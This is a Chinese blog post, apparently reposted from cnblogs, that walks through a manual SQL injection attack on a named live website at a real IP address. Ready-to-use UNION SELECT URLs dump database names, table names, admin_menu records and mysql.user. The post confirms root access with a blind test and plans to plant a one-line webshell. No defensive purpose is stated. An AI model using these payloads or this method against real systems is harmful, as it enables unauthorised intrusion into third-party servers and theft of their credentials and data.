标签:
注入点: http://203.246.61.24/ipsi/sub05/sub09_A.php?menu=109
使用order by 确定字段
order by 25报错

order by 23 正常返回

order by 24试试

OK ,order by 25报错,order by 24正常返回 ,字段确定在24。
接下来就使用 union语包查询一下数据库名密码等等想要的东西先

使用database()查看数据库名

使用version()查看版本号

使用@@datadir 查看数据库的路径

使用user()查看用户

使用 system_user() 查看一下当前系统的用户是谁

看看当前连接的用户 使用current_user() 查询

哈哈,出来了,都是它呀,mysql还开启远程登录,看来是给日过了,默认情况下都不会使用远程登录的。
看看页面当前连接的用户是谁 session_user()

and ord(mid(user(),1,1))=114 查看用户是什么权限

OK,返回的页面跟上面出错的页面不同,也就是说是root权限
这样就好办了,只要知道绝对路径就可以写一句话进去
先使用 @@version_compile_os 查看一下操作系统是什么

查询一下information_schema表,看看都有哪些数据库
http://203.246.61.24/ipsi/sub05/sub09_A.php?menu=109%20and%201=2%20union%20select%201,2,3,4,5,group_concat%28distinct+table_schema%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20from%20information_schema.columns--

爆出这么多数据库,接下来就要爆表名了,
http://203.246.61.24/ipsi/sub05/sub09_A.php?menu=109%20and%201=2%20union%20select%201,2,3,4,5,group_concat%28distinct+table_name%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20from%20information_schema.tables%20where%20table_schema=database%28%29--
哈哈,够直接,所有表名出来了,

数据库名,表名 都爆出来了,那么接下来要做的事就是爆字段了,
http://203.246.61.24/ipsi/sub05/sub09_A.php?menu=109%20and%201=2%20union%20select%201,2,3,4,5,group_concat%28distinct+column_name%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20from%20information_schema.columns+where+table_name=0x61646D696E5F6D656E75
注:0x61646D696E5F6D656E75 是上面爆出来的admin_menu的十六进制
使用http://203.246.61.24/ipsi/sub05/sub09_A.php?menu=109%20and%201=2%20union%20select%201,2,3,4,5,group_concat%28ADMIN_ID,0x2B,ALLOW_MENU%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20from%20admin_menu
爆出这些信息,平不是管理 员的帐号密码
但是方法是 一样的,

and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from mysql.user
http://203.246.61.24/ipsi/sub05/sub09_A.php?menu=109%20and%201=2%20union%20select%201,2,3,4,5,@@version_compile_os,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20from%20mysql.user
标签:
原文地址:http://www.cnblogs.com/jshy/p/5624688.html